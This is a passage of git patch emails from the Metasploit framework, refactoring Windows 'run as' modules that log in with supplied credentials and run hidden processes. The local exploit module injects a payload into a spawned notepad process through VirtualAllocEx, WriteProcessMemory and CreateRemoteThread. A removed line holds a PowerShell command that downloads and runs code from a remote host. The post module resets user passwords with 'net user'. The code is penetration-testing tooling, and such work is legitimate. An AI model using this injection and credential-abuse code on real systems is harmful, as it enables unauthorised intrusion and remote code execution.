with the SE_INCREASE_QUOTA_NAME and + # SE_ASSIGNPRIMARYTOKEN_NAME privileges. + # This will normally error with 0xc000142 on later OS's (Vista+?)... def create_process_as_user(domain, user, password, application_name, command_line) return unless check_user_format(user, domain) return unless check_command_length(application_name, command_line, 32000) vprint_status("Executing LogonUserA...") + session.sys.config.getenv('SYSTEMDRIVE') logon_user = session.railgun.advapi32.LogonUserA(user, domain, password, @@ -125,31 +135,40 @@ module Msf::Post::Windows::Runas 'LOGON32_PROVIDER_DEFAULT', 4) - if logon_user['return'] == ERROR::SUCCESS - ph_token = logon_user['phToken'] - vprint_status("Executing CreateProcessAsUserA...") - create_process = session.railgun.advapi32.CreateProcessAsUserA(ph_token, - application_name, - command_line, - nil, - nil, - false, - 'CREATE_NEW_CONSOLE', - nil, - nil, - startup_info, - 16) + if logon_user['return'] + begin + ph_token = logon_user['phToken'] + vprint_status("Executing CreateProcessAsUserA...") + create_process = session.railgun.advapi32.CreateProcessAsUserA(ph_token, + application_name, + command_line, + nil, + nil, + false, + 'CREATE_NEW_CONSOLE', + nil, + nil, + startup_info, + 16) - if create_process['return'] == ERROR::SUCCESS - pi = parse_process_information(create_process['lpProcessInformation']) - print_good("Process started successfully, PID #{pi['process_id']}") - else - print_error("Unable to create process, #{create_process['GetLastError']} - #{create_process['ErrorMessage']}") + if create_process['return'] + begin + pi = parse_process_information(create_process['lpProcessInformation']) + ensure + session.railgun.kernel32.CloseHandle(pi[:process_handle]) + session.railgun.kernel32.CloseHandle(pi[:thread_handle]) + end + print_good("Process started successfully, PID: #{pi[:process_id]}") + else + print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}") + end + + return pi + ensure + session.railgun.kernel32.CloseHandle(ph_token) end - - pi else - print_error("Unable to login the user, #{logon_user['GetLastError']} - #{logon_user['ErrorMessage']}") + print_error("Unable to login the user, Error Code: #{logon_user['GetLastError']} - #{logon_user['ErrorMessage']}") end nil @@ -157,7 +176,7 @@ module Msf::Post::Windows::Runas def parse_process_information(process_information) pi = process_information.unpack('LLLL') - { process_handle => pi[0], thread_handle => pi[1], process_id => pi[2], thread_id => pi[3] } + { :process_handle => pi[0], :thread_handle => pi[1], :process_id => pi[2], :thread_id => pi[3] } end def check_user_format(username, domain) @@ -171,9 +190,9 @@ module Msf::Post::Windows::Runas def check_command_length(application_name, command_line, max_length) if application_name.nil? && command_line.nil? raise ArgumentError, 'Both application_name and command_line are nil' - elsif application_name.nil? && command_line.length > MAX_PATH + elsif application_name.nil? && command_line && command_line.length > MAX_PATH raise ArgumentError, "When application_name is nil the command line must be less than MAX_PATH #{MAX_PATH} characters (Currently #{command_line.length})" - elsif command_line.length > max_length + elsif application_name && command_line && command_line.length > max_length raise ArgumentError, "When application_name is set, command line must be less than #{max_length} characters (Currently #{command_line.length})" end From 215a5909402fd1f861fe7d715a805d7ff4a37510 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 27 Jan 2015 16:14:59 +0000 Subject: [PATCH 009/279] Refactor and fixes for post module --- lib/msf/core/post/windows/runas.rb | 19 +-- modules/exploits/windows/local/run_as.rb | 180 +++++++++++------------ modules/post/windows/manage/run_as.rb | 131 ++++++----------- 3 files changed, 130 insertions(+), 200 deletions(-) diff --git a/lib/msf/core/post/windows/runas.rb b/lib/msf/core/post/windows/runas.rb index 9cebfc2ed3..c769c8f303 100644 --- a/lib/msf/core/post/windows/runas.rb +++ b/lib/msf/core/post/windows/runas.rb @@ -79,11 +79,7 @@ module Msf::Post::Windows::Runas if logon_user['return'] begin ph_token = logon_user['phToken'] - vprint_status("Executing GetUserProfileDirectoryW...") - get_profile_dir = session.railgun.userenv.GetUserProfileDirectoryW(ph_token, MAX_PATH*2, MAX_PATH*2) - str_length = get_profile_dir['lpcchSize'] - profile_path = get_profile_dir['lpProfileDir'][0, str_length] - vprint_status("Executing CreateProcessWithLogonW #{application_name} #{command_line}...") + vprint_status("Executing CreateProcessWithLogonW: #{application_name} #{command_line}...") create_process = session.railgun.advapi32.CreateProcessWithLogonW(user, domain, password, @@ -92,16 +88,11 @@ module Msf::Post::Windows::Runas command_line, 'CREATE_UNICODE_ENVIRONMENT', nil, - nil, # profile_path, + nil, startup_info, 16) if create_process['return'] - begin - pi = parse_process_information(create_process['lpProcessInformation']) - ensure - session.railgun.kernel32.CloseHandle(pi[:process_handle]) - session.railgun.kernel32.CloseHandle(pi[:thread_handle]) - end + pi = parse_process_information(create_process['lpProcessInformation']) print_good("Process started successfully, PID: #{pi[:process_id]}") else print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}") @@ -121,7 +112,9 @@ module Msf::Post::Windows::Runas # Can be used by SYSTEM processes with the SE_INCREASE_QUOTA_NAME and # SE_ASSIGNPRIMARYTOKEN_NAME privileges. - # This will normally error with 0xc000142 on later OS's (Vista+?)... + # + # This will normally error with 0xc000142 on later OS's (Vista+?) for + # gui apps but is ok for firing off cmd.exe... def create_process_as_user(domain, user, password, application_name, command_line) return unless check_user_format(user, domain) return unless check_command_length(application_name, command_line, 32000) diff --git a/modules/exploits/windows/local/run_as.rb b/modules/exploits/windows/local/run_as.rb index 7b5669efef..df4bfc7116 100644 --- a/modules/exploits/windows/local/run_as.rb +++ b/modules/exploits/windows/local/run_as.rb @@ -7,132 +7,118 @@ require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Local - include Msf::Post::File - include Msf::Post::Windows::Priv - include Msf::Exploit::Powershell + include Msf::Post::Windows::Runas def initialize(info={}) super(update_info(info, - 'Name' => "Windows Manage Run Command As User", + 'Name' => "Windows Run Command As User", 'Description' => %q{ This module will login with the specified username/password and execute the - supplied command as a hidden process. Output is not returned by default, by setting - CMDOUT to false output will be redirected to a temp file and read back in to - display.By setting advanced option SETPASS to true, it will reset the users - password and then execute the command. + supplied command as a hidden process. Output is not returned by default. + Unless targetting a local user either set the DOMAIN, or specify a UPN user + format (e.g. user@domain). This uses the CreateProcessWithLogonW WinAPI function. + + A custom command line can be sent instead of uploading an executable. + APPLICAITON_NAME and COMMAND_LINE are passed to lpApplicationName and lpCommandLine + respectively. See the MSDN documentation for how these two values interact. }, 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], - 'Author' => ['Kx499'], - 'Targets' => [ [ 'Universal', {} ] ], - 'DefaultTarget' => 0 + 'Author' => ['Kx499', 'Ben Campbell'], + 'Targets' => [ + [ 'Automatic', { 'Arch' => [ ARCH_X86 ] } ] + ], + 'DefaultTarget' => 0, + 'References' => + [ + [ 'URL', 'https://msdn.microsoft.com/en-us/library/windows/desktop/ms682431' ] + ] )) register_options( [ - OptString.new('DOMAIN', [true, 'Domain to login with' ]), + OptString.new('DOMAIN', [false, 'Domain to login with' ]), OptString.new('USER', [true, 'Username to login with' ]), OptString.new('PASSWORD', [true, 'Password to login with' ]), - OptString.new('APPLICATION_NAME', [false, 'Application to be executed (lpApplicationName)']), - OptString.new('COMMAND_LINE', [true, 'Command line to execute (lpCommandLine)']), + OptString.new('APPLICATION_NAME', [false, 'Application to be executed (lpApplicationName)', nil ]), + OptString.new('COMMAND_LINE', [false, 'Command line to execute (lpCommandLine)', nil ]), + OptBool.new('USE_CUSTOM_COMMAND', [true, 'Specify custom APPLICATION_NAME and COMMAND_LINE', false ]) ], self.class) - - register_advanced_options( - [ - OptBool.new('CMDOUT', [true, 'Retrieve command output', false]), - OptBool.new('SETPASS', [true, 'Reset password', false]) - ], self.class) - end - - # Check if sufficient privileges are present for certain actions and run getprivs for system - # If you elevated privs to system,the SeAssignPrimaryTokenPrivilege will not be assigned. You - # need to migrate to a process that is running as - # system. If you don't have privs, this exits script. - def priv_check - if is_system? - privs = session.sys.config.getprivs - if privs.include?("SeAssignPrimaryTokenPrivilege") and privs.include?("SeIncreaseQuotaPrivilege") - @isadmin = false - return true - else - return false - end - elsif is_admin? - @isadmin = true - return true - else - return false - end - end - - def reset_pass(user, password) - cmd = "cmd.exe /c net user #{user} #{password}" - r = cmd_exec(cmd) - return r.include?("successfully") end def exploit - fail_with(Exploit::Failure::BadConfig, "Must be a meterpreter session") if session.sys.config.sysinfo.type != "meterpreter" + fail_with(Exploit::Failure::BadConfig, 'Must be a meterpreter session') unless session.type == 'meterpreter' - # check/set vars - cmdout = datastore["CMDOUT"] - user = datastore["USER"] - password = datastore["PASS"] - application_name = datastore['APPLICATION_NAME'] - command_line = datastore["COMMAND_LINE"] domain = datastore['DOMAIN'] + user = datastore['USER'] + password = datastore['PASSWORD'] - cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true) - - cmdstr = 'powershell.exe -C IEX ((new-object net.webclient).downloadstring(\'http://192.168.5.101:8080/x86\'))' - - if is_system? - puts create_process_as_user(domain, - user, - password, - application_name, - command_line) + if datastore['USE_CUSTOM_COMMAND'] + application_name = datastore['APPLICATION_NAME'] + command_line = datastore['COMMAND_LINE'] else - puts create_process_with_logon(domain, - user, - password, - application_name, - command_line) + command_line = nil + windir = get_env('windir') - #print_error("Insufficient Privileges, either you are not Admin or system or you elevated") - #print_error("privs to system and do not have sufficient privileges. If you elevated to") - #print_error("system, migrate to a process that was started as system (srvhost.exe)") - #return 0 + # Select path of executable to run depending the architecture + case client.platform + when /x86/ + application_name = "#{windir}\\System32\\notepad.exe" + when /x64/ + application_name = "#{windir}\\SysWOW64\\notepad.exe" + end end - return + pi = create_process_with_logon(domain, + user, + password, + application_name, + command_line) - # Only process file if the process creation was successful, delete when done, give us info - # about process - if cs["return"] - tmpout = "" - if cmdout - outfile = session.fs.file.new(outpath, "rb") - until outfile.eof? - tmpout << outfile.read - end - outfile.close - c = session.sys.process.execute("cmd.exe /c del #{outpath}", nil, {'Hidden' => true}) - c.close + return unless pi + + begin + return if datastore['USE_CUSTOM_COMMAND'] + + vprint_status('Injecting payload into target process') + raw = payload.encoded + process_handle = pi[:process_handle] + virtual_alloc = session.railgun.kernel32.VirtualAllocEx(process_handle, + nil, + raw.length, + 'MEM_COMMIT|MEM_RESERVE', + 'PAGE_EXECUTE_READWRITE') + + + address = virtual_alloc['return'] + fail_with(Exploit::Failure::Unknown, "Unable to allocate memory in target process: #{virtual_alloc['ErrorMessage']}") if address == 0 + + write_memory = session.railgun.kernel32.WriteProcessMemory(process_handle, + address, + raw, + raw.length, + 4) + + fail_with(Exploit::Failure::Unknown, + "Unable to write memory in target process @ 0x#{address.to_s(16)}: #{write_memory['ErrorMessage']}") unless write_memory['return'] + + create_remote_thread = session.railgun.kernel32.CreateRemoteThread(process_handle, + nil, + 0, + address, + nil, + 0, + 4) + if create_remote_thread['return'] == 0 + print_error("Unable to create remote thread in target process: #{create_remote_thread['ErrorMessage']}") + else + print_good("Started thread in target process") end - - pi = cs["lpProcessInformation"].unpack("LLLL") - print_status("Command Run: #{cmdstr}") - print_status("Process Handle: #{pi[0]}") - print_status("Thread Handle: #{pi[1]}") - print_status("Process Id: #{pi[2]}") - print_status("Thread Id: #{pi[3]}") - print_line(tmpout) - else - print_error("#{cs["ErrorMessage"]}") - return 0 + ensure + session.railgun.kernel32.CloseHandle(pi[:process_handle]) + session.railgun.kernel32.CloseHandle(pi[:thread_handle]) end end end diff --git a/modules/post/windows/manage/run_as.rb b/modules/post/windows/manage/run_as.rb index 2f64760c2e..959b400aeb 100644 --- a/modules/post/windows/manage/run_as.rb +++ b/modules/post/windows/manage/run_as.rb @@ -9,6 +9,7 @@ require 'rex' class Metasploit3 < Msf::Post include Msf::Post::File include Msf::Post::Windows::Priv + include Msf::Post::Windows::Runas def initialize(info={}) super(update_info(info, @@ -28,15 +29,16 @@ class Metasploit3 < Msf::Post register_options( [ - OptString.new('USER', [true, 'Username to reset/login with' ]), - OptString.new('PASS', [true, 'Password to use' ]), + OptString.new('DOMAIN', [true, 'Domain to login with' ]), + OptString.new('USER', [true, 'Username to login with' ]), + OptString.new('PASSWORD', [true, 'Password to login with' ]), OptString.new('CMD', [true, 'Command to execute' ]), - OptBool.new('CMDOUT', [false, 'Retrieve command output', false]), + OptBool.new('CMDOUT', [true, 'Retrieve command output', false]), ], self.class) register_advanced_options( [ - OptBool.new('SETPASS', [false, 'Reset password', false]) + OptBool.new('SETPASS', [true, 'Reset password', false]) ], self.class) end @@ -44,130 +46,79 @@ class Metasploit3 < Msf::Post # If you elevated privs to system,the SeAssignPrimaryTokenPrivilege will not be assigned. You # need to migrate to a process that is running as # system. If you don't have privs, this exits script. - def priv_check if is_system? privs = session.sys.config.getprivs - if privs.include?("SeAssignPrimaryTokenPrivilege") and privs.include?("SeIncreaseQuotaPrivilege") - @isadmin = false - return true - else - return false - end - elsif is_admin? - @isadmin = true - return true - else - return false + return privs.include?("SeAssignPrimaryTokenPrivilege") && privs.include?("SeIncreaseQuotaPrivilege") end + + false end - def reset_pass(user,pass) + def reset_pass(user, password) begin - tmpout = "" - cmd = "cmd.exe /c net user " + user + " " + pass - r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - tmpout << d - break if d == "" - end - r.channel.close - return true if tmpout.include?("successfully") - return false + tmpout = cmd_exec("cmd.exe /c net user #{user} #{password}") + return tmpout.include?("successfully") rescue return false end end - def run - # set some instance vars - @IsAdmin = false - @host_info = session.sys.config.sysinfo + def touch(path) + write_file(path, "") + cmd_exec("icacls #{path} /grant Everyone:(F)") + end + def run # Make sure we meet the requirements before running the script, note no need to return # unless error - return 0 if session.type != "meterpreter" + return unless session.type == "meterpreter" + pi = nil # check/set vars setpass = datastore["SETPASS"] cmdout = datastore["CMDOUT"] user = datastore["USER"] || nil - pass = datastore["PASS"] || nil + password = datastore["PASSWORD"] || nil cmd = datastore["CMD"] || nil - rg_adv = session.railgun.advapi32 + domain = datastore['DOMAIN'] - # reset user pass if setpass is true - if datastore["SETPASS"] + if setpass print_status("Setting user password") - if !reset_pass(user,pass) - print_error("Error resetting password") - return 0 - end + fail_with(Exploit::Failure::Unknown, 'Error resetting password') unless reset_pass(user, password) end - # set profile paths - sysdrive = session.sys.config.getenv('SYSTEMDRIVE') - os = @host_info['OS'] - profiles_path = sysdrive + "\\Documents and Settings\\" - profiles_path = sysdrive + "\\Users\\" if os =~ /(Windows 7|2008|Vista)/ - path = profiles_path + user + "\\" - outpath = path + "out.txt" + system_temp = get_env('WINDIR') << '\\Temp' + outpath = "#{system_temp}\\#{Rex::Text.rand_text_alpha(8)}.txt" - # this is start info struct for a hidden process last two params are std out and in. - #for hidden startinfo[12] = 1 = STARTF_USESHOWWINDOW and startinfo[13] = 0 = SW_HIDE - startinfo = [0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0] - startinfo = startinfo.pack("LLLLLLLLLLLLSSLLLL") + # Create output file and set permissions so everyone can access + touch(outpath) - #set command string based on cmdout vars cmdstr = "cmd.exe /c #{cmd}" cmdstr = "cmd.exe /c #{cmd} > #{outpath}" if cmdout - # Check privs and execute the correct commands - # if local admin use createprocesswithlogon, if system logonuser and createprocessasuser - # execute command and get output with a poor mans pipe + # Check privs and execute the correct commands + # if user use createprocesswithlogon, if system logonuser and createprocessasuser + # execute command and get output with a poor mans pipe if priv_check - if @isadmin #local admin - print_status("Executing CreateProcessWithLogonW...we are Admin") - cs = rg_adv.CreateProcessWithLogonW(user,nil,pass,"LOGON_WITH_PROFILE",nil, cmdstr, - "CREATE_UNICODE_ENVIRONMENT",nil,path,startinfo,16) - else #system with correct token privs enabled - print_status("Executing CreateProcessAsUserA...we are SYSTEM") - l = rg_adv.LogonUserA(user,nil,pass, "LOGON32_LOGON_INTERACTIVE", - "LOGON32_PROVIDER_DEFAULT", 4) - cs = rg_adv.CreateProcessAsUserA(l["phToken"], nil, cmdstr, nil, nil, false, - "CREATE_NEW_CONSOLE", nil, nil, startinfo, 16) - end + print_status("Executing CreateProcessAsUserA...we are SYSTEM") + pi = create_process_as_user(domain, user, password, nil, cmdstr) else - print_error("Insufficient Privileges, either you are not Admin or system or you elevated") - print_error("privs to system and do not have sufficient privileges. If you elevated to") - print_error("system, migrate to a process that was started as system (srvhost.exe)") - return 0 + print_status("Executing CreateProcessWithLogonW...") + pi = create_process_with_logon(domain, user, password, nil, cmdstr) end # Only process file if the process creation was successful, delete when done, give us info # about process - if cs["return"] - tmpout = "" - if cmdout - outfile = session.fs.file.new(outpath, "rb") - until outfile.eof? - tmpout << outfile.read - end - outfile.close - c = session.sys.process.execute("cmd.exe /c del #{outpath}", nil, {'Hidden' => true}) - c.close - end + if pi + tmpout = read_file(outpath) if cmdout - pi = cs["lpProcessInformation"].unpack("LLLL") print_status("Command Run: #{cmdstr}") - print_status("Process Handle: #{pi[0]}") - print_status("Thread Handle: #{pi[1]}") - print_status("Process Id: #{pi[2]}") - print_status("Thread Id: #{pi[3]}") - print_line(tmpout) - else - print_error("Oops something went wrong. Error Returned by Windows was #{cs["GetLastError"]}") - return 0 + vprint_status("Process Handle: #{pi[:process_handle]}") + vprint_status("Thread Handle: #{pi[:thread_handle]}") + vprint_status("Process Id: #{pi[:process_id]}") + vprint_status("Thread Id: #{pi[:thread_id]}") + print_status("Command output:\r\n#{tmpout}") unless tmpout.nil? end end end From b7e9c69f727a6c527f726f15f07c227f15b4db19 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 27 Jan 2015 16:34:06 +0000 Subject: [PATCH 010/279] Fix x64 injection --- modules/exploits/windows/local/run_as.rb | 41 ++++++++++++------------ 1 file changed, 20 insertions(+), 21 deletions(-) diff --git a/modules/exploits/windows/local/run_as.rb b/modules/exploits/windows/local/run_as.rb index df4bfc7116..0f9c800414 100644 --- a/modules/exploits/windows/local/run_as.rb +++ b/modules/exploits/windows/local/run_as.rb @@ -7,10 +7,9 @@ require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Local - include Msf::Post::Windows::Runas - def initialize(info={}) + def initialize(info = {}) super(update_info(info, 'Name' => "Windows Run Command As User", 'Description' => %q{ @@ -63,19 +62,19 @@ class Metasploit3 < Msf::Exploit::Local windir = get_env('windir') # Select path of executable to run depending the architecture - case client.platform - when /x86/ + case sysinfo['Architecture'] + when /x86/i application_name = "#{windir}\\System32\\notepad.exe" - when /x64/ + when /x64/i application_name = "#{windir}\\SysWOW64\\notepad.exe" end end pi = create_process_with_logon(domain, - user, - password, - application_name, - command_line) + user, + password, + application_name, + command_line) return unless pi @@ -85,12 +84,12 @@ class Metasploit3 < Msf::Exploit::Local vprint_status('Injecting payload into target process') raw = payload.encoded process_handle = pi[:process_handle] - virtual_alloc = session.railgun.kernel32.VirtualAllocEx(process_handle, - nil, - raw.length, - 'MEM_COMMIT|MEM_RESERVE', - 'PAGE_EXECUTE_READWRITE') + virtual_alloc = session.railgun.kernel32.VirtualAllocEx(process_handle, + nil, + raw.length, + 'MEM_COMMIT|MEM_RESERVE', + 'PAGE_EXECUTE_READWRITE') address = virtual_alloc['return'] fail_with(Exploit::Failure::Unknown, "Unable to allocate memory in target process: #{virtual_alloc['ErrorMessage']}") if address == 0 @@ -99,18 +98,18 @@ class Metasploit3 < Msf::Exploit::Local address, raw, raw.length, - 4) + 4) fail_with(Exploit::Failure::Unknown, "Unable to write memory in target process @ 0x#{address.to_s(16)}: #{write_memory['ErrorMessage']}") unless write_memory['return'] create_remote_thread = session.railgun.kernel32.CreateRemoteThread(process_handle, - nil, - 0, - address, - nil, - 0, - 4) + nil, + 0, + address, + nil, + 0, + 4) if create_remote_thread['return'] == 0 print_error("Unable to create remote thread in target process: #{create_remote_thread['ErrorMessage']}") else From 3d0dc1a19de73b4a8fa281e242e25b846d0741d1 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 27 Jan 2015 16:34:52 +0000 Subject: [PATCH 011/279] Rubocop --- modules/post/windows/manage/run_as.rb | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) diff --git a/modules/post/windows/manage/run_as.rb b/modules/post/windows/manage/run_as.rb index 959b400aeb..50195b8d0f 100644 --- a/modules/post/windows/manage/run_as.rb +++ b/modules/post/windows/manage/run_as.rb @@ -11,16 +11,16 @@ class Metasploit3 < Msf::Post include Msf::Post::Windows::Priv include Msf::Post::Windows::Runas - def initialize(info={}) + def initialize(info = {}) super(update_info(info, 'Name' => "Windows Manage Run Command As User", - 'Description' => %q{ + 'Description' => %q( This module will login with the specified username/password and execute the supplied command as a hidden process. Output is not returned by default, by setting CMDOUT to false output will be redirected to a temp file and read back in to display.By setting advanced option SETPASS to true, it will reset the users password and then execute the command. - }, + ), 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Post OptString.new('USER', [true, 'Username to login with' ]), OptString.new('PASSWORD', [true, 'Password to login with' ]), OptString.new('CMD', [true, 'Command to execute' ]), - OptBool.new('CMDOUT', [true, 'Retrieve command output', false]), + OptBool.new('CMDOUT', [true, 'Retrieve command output', false]) ], self.class) register_advanced_options( @@ -102,7 +102,12 @@ class Metasploit3 < Msf::Post # execute command and get output with a poor mans pipe if priv_check print_status("Executing CreateProcessAsUserA...we are SYSTEM") - pi = create_process_as_user(domain, user, password, nil, cmdstr) + begin + pi = create_process_as_user(domain, user, password, nil, cmdstr) + ensure + session.railgun.kernel32.CloseHandle(pi[:process_handle]) + session.railgun.kernel32.CloseHandle(pi[:thread_handle]) + end else print_status("Executing CreateProcessWithLogonW...") pi = create_process_with_logon(domain, user, password, nil, cmdstr) From b367b01998d1d359d2edd68d4bbc81d049d9b409 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 27 Jan 2015 17:07:49 +0000 Subject: [PATCH 012/279] Remove unneccessary logonuser --- lib/msf/core/post/windows/runas.rb | 54 ++++++++++-------------------- 1 file changed, 18 insertions(+), 36 deletions(-) diff --git a/lib/msf/core/post/windows/runas.rb b/lib/msf/core/post/windows/runas.rb index c769c8f303..cf55f68ff8 100644 --- a/lib/msf/core/post/windows/runas.rb +++ b/lib/msf/core/post/windows/runas.rb @@ -69,45 +69,27 @@ module Msf::Post::Windows::Runas return unless check_user_format(user, domain) return unless check_command_length(application_name, command_line, 1024) - vprint_status("Executing LogonUserW...") - logon_user = session.railgun.advapi32.LogonUserW(user, - domain, - password, - 'LOGON32_LOGON_INTERACTIVE', - 'LOGON32_PROVIDER_DEFAULT', - 4) - if logon_user['return'] - begin - ph_token = logon_user['phToken'] - vprint_status("Executing CreateProcessWithLogonW: #{application_name} #{command_line}...") - create_process = session.railgun.advapi32.CreateProcessWithLogonW(user, - domain, - password, - 'LOGON_WITH_PROFILE', - application_name, - command_line, - 'CREATE_UNICODE_ENVIRONMENT', - nil, - nil, - startup_info, - 16) - if create_process['return'] - pi = parse_process_information(create_process['lpProcessInformation']) - print_good("Process started successfully, PID: #{pi[:process_id]}") - else - print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}") - print_error("Try setting the DOMAIN or USER in the format: user@domain") if create_process['GetLastError'] == 1783 && domain.nil? - end - - return pi - ensure - session.railgun.kernel32.CloseHandle(ph_token) - end + vprint_status("Executing CreateProcessWithLogonW: #{application_name} #{command_line}...") + create_process = session.railgun.advapi32.CreateProcessWithLogonW(user, + domain, + password, + 'LOGON_WITH_PROFILE', + application_name, + command_line, + 'CREATE_UNICODE_ENVIRONMENT', + nil, + nil, + startup_info, + 16) + if create_process['return'] + pi = parse_process_information(create_process['lpProcessInformation']) + print_good("Process started successfully, PID: #{pi[:process_id]}") else - print_error("Unable to login the user, Error Code: #{logon_user['GetLastError']} - #{logon_user['ErrorMessage']}") + print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}") + print_error("Try setting the DOMAIN or USER in the format: user@domain") if create_process['GetLastError'] == 1783 && domain.nil? end - nil + pi end # Can be used by SYSTEM processes with the SE_INCREASE_QUOTA_NAME and From c9ca85fba857cec814e19bc634bac029b3b5d7f7 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 27 Jan 2015 17:23:57 +0000 Subject: [PATCH 013/279] Bail out as SYSTEM --- modules/exploits/windows/local/run_as.rb | 24 +++++++++++++----------- 1 file changed, 13 insertions(+), 11 deletions(-) diff --git a/modules/exploits/windows/local/run_as.rb b/modules/exploits/windows/local/run_as.rb index 0f9c800414..63092283fc 100644 --- a/modules/exploits/windows/local/run_as.rb +++ b/modules/exploits/windows/local/run_as.rb @@ -8,6 +8,7 @@ require 'rex' class Metasploit3 < Msf::Exploit::Local include Msf::Post::Windows::Runas + include Msf::Post::Windows::Priv def initialize(info = {}) super(update_info(info, @@ -49,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Local def exploit fail_with(Exploit::Failure::BadConfig, 'Must be a meterpreter session') unless session.type == 'meterpreter' - + fail_with(Exploit::Failure::NoAccess, 'Cannot use this technique as SYSTEM') if is_system? domain = datastore['DOMAIN'] user = datastore['USER'] password = datastore['PASSWORD'] @@ -83,6 +84,7 @@ class Metasploit3 < Msf::Exploit::Local vprint_status('Injecting payload into target process') raw = payload.encoded + process_handle = pi[:process_handle] virtual_alloc = session.railgun.kernel32.VirtualAllocEx(process_handle, @@ -95,21 +97,21 @@ class Metasploit3 < Msf::Exploit::Local fail_with(Exploit::Failure::Unknown, "Unable to allocate memory in target process: #{virtual_alloc['ErrorMessage']}") if address == 0 write_memory = session.railgun.kernel32.WriteProcessMemory(process_handle, - address, - raw, - raw.length, - 4) + address, + raw, + raw.length, + 4) fail_with(Exploit::Failure::Unknown, "Unable to write memory in target process @ 0x#{address.to_s(16)}: #{write_memory['ErrorMessage']}") unless write_memory['return'] create_remote_thread = session.railgun.kernel32.CreateRemoteThread(process_handle, - nil, - 0, - address, - nil, - 0, - 4) + nil, + 0, + address, + nil, + 0, + 4) if create_remote_thread['return'] == 0 print_error("Unable to create remote thread in target process: #{create_remote_thread['ErrorMessage']}") else From 02da5b5c1ba741ff90516cdc406f5dbf0e77c3c4 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 27 Jan 2015 17:27:56 +0000 Subject: [PATCH 014/279] Remove unnecessary get_env call --- lib/msf/core/post/windows/runas.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/msf/core/post/windows/runas.rb b/lib/msf/core/post/windows/runas.rb index cf55f68ff8..6f00ef1222 100644 --- a/lib/msf/core/post/windows/runas.rb +++ b/lib/msf/core/post/windows/runas.rb @@ -102,7 +102,6 @@ module Msf::Post::Windows::Runas return unless check_command_length(application_name, command_line, 32000) vprint_status("Executing LogonUserA...") - session.sys.config.getenv('SYSTEMDRIVE') logon_user = session.railgun.advapi32.LogonUserA(user, domain, password, From c7534446aa67347606f013be31a2936fb95f9e90 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 27 Jan 2015 20:35:55 +0000 Subject: [PATCH 015/279] Add yarddocs to runas mixin --- lib/msf/core/post/windows/runas.rb | 69 +++++++++++++++++++++++++++++- 1 file changed, 67 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/post/windows/runas.rb b/lib/msf/core/post/windows/runas.rb index 6f00ef1222..f2d1a34a4f 100644 --- a/lib/msf/core/post/windows/runas.rb +++ b/lib/msf/core/post/windows/runas.rb @@ -41,9 +41,14 @@ module Msf::Post::Windows::Runas end end + # + # Create a STARTUP_INFO struct for use with CreateProcessa + # + # This struct will cause the process to be hidden + # + # @return [String] STARTUP_INFO struct + # def startup_info - # this is start info struct for a hidden process last two params are std out and in. - #for hidden startup_info[12] = STARTF_USESHOWWINDOW and startup_info[13] = 0 = SW_HIDE [0, # cb 0, # lpReserved 0, # lpDesktop @@ -65,6 +70,19 @@ module Msf::Post::Windows::Runas ].pack('VVVVVVVVVVVVvvVVVV') end + # + # Call CreateProcessWithLogonW to start a process with the supplier + # user credentials + # + # @param domain [String] The target user domain + # @param user [String] The target user + # @param password [String] The target user password + # @param application_name [String] The executable to be run, can be + # nil + # @param command_line [String] The command line or process arguments + # + # @return [Hash, nil] The values from the process_information struct + # def create_process_with_logon(domain, user, password, application_name, command_line) return unless check_user_format(user, domain) return unless check_command_length(application_name, command_line, 1024) @@ -92,11 +110,25 @@ module Msf::Post::Windows::Runas pi end + # + # Call CreateProcessAsUser to start a process with the supplier + # user credentials + # # Can be used by SYSTEM processes with the SE_INCREASE_QUOTA_NAME and # SE_ASSIGNPRIMARYTOKEN_NAME privileges. # # This will normally error with 0xc000142 on later OS's (Vista+?) for # gui apps but is ok for firing off cmd.exe... + # + # @param domain [String] The target user domain + # @param user [String] The target user + # @param password [String] The target user password + # @param application_name [String] The executable to be run, can be + # nil + # @param command_line [String] The command line or process arguments + # + # @return [Hash, nil] The values from the process_information struct + # def create_process_as_user(domain, user, password, application_name, command_line) return unless check_user_format(user, domain) return unless check_command_length(application_name, command_line, 32000) @@ -148,11 +180,30 @@ module Msf::Post::Windows::Runas nil end + # + # Parse the PROCESS_INFORMATION struct + # + # @param process_information [String] The PROCESS_INFORMATION value + # from the CreateProcess call + # + # @return [Hash] The values from the process_information struct + # def parse_process_information(process_information) pi = process_information.unpack('LLLL') { :process_handle => pi[0], :thread_handle => pi[1], :process_id => pi[2], :thread_id => pi[3] } end + # + # Checks the username and domain is in the correct format + # for the CreateProcess_x WinAPI calls. + # + # @param username [String] The target user + # @param domain [String] The target user domain + # + # @raise [ArgumentError] If the username format is incorrect + # + # @return [True] True if username is in the correct format + # def check_user_format(username, domain) if domain && username.include?('@') raise ArgumentError, 'Username is in UPN format (user@domain) so the domain parameter must be nil' @@ -161,6 +212,20 @@ module Msf::Post::Windows::Runas true end + # + # Checks the command_length parameter is the correct length + # for the CreateProcess_x WinAPI calls depending on the presence + # of application_name + # + # @param application_name [String] lpApplicationName + # @param 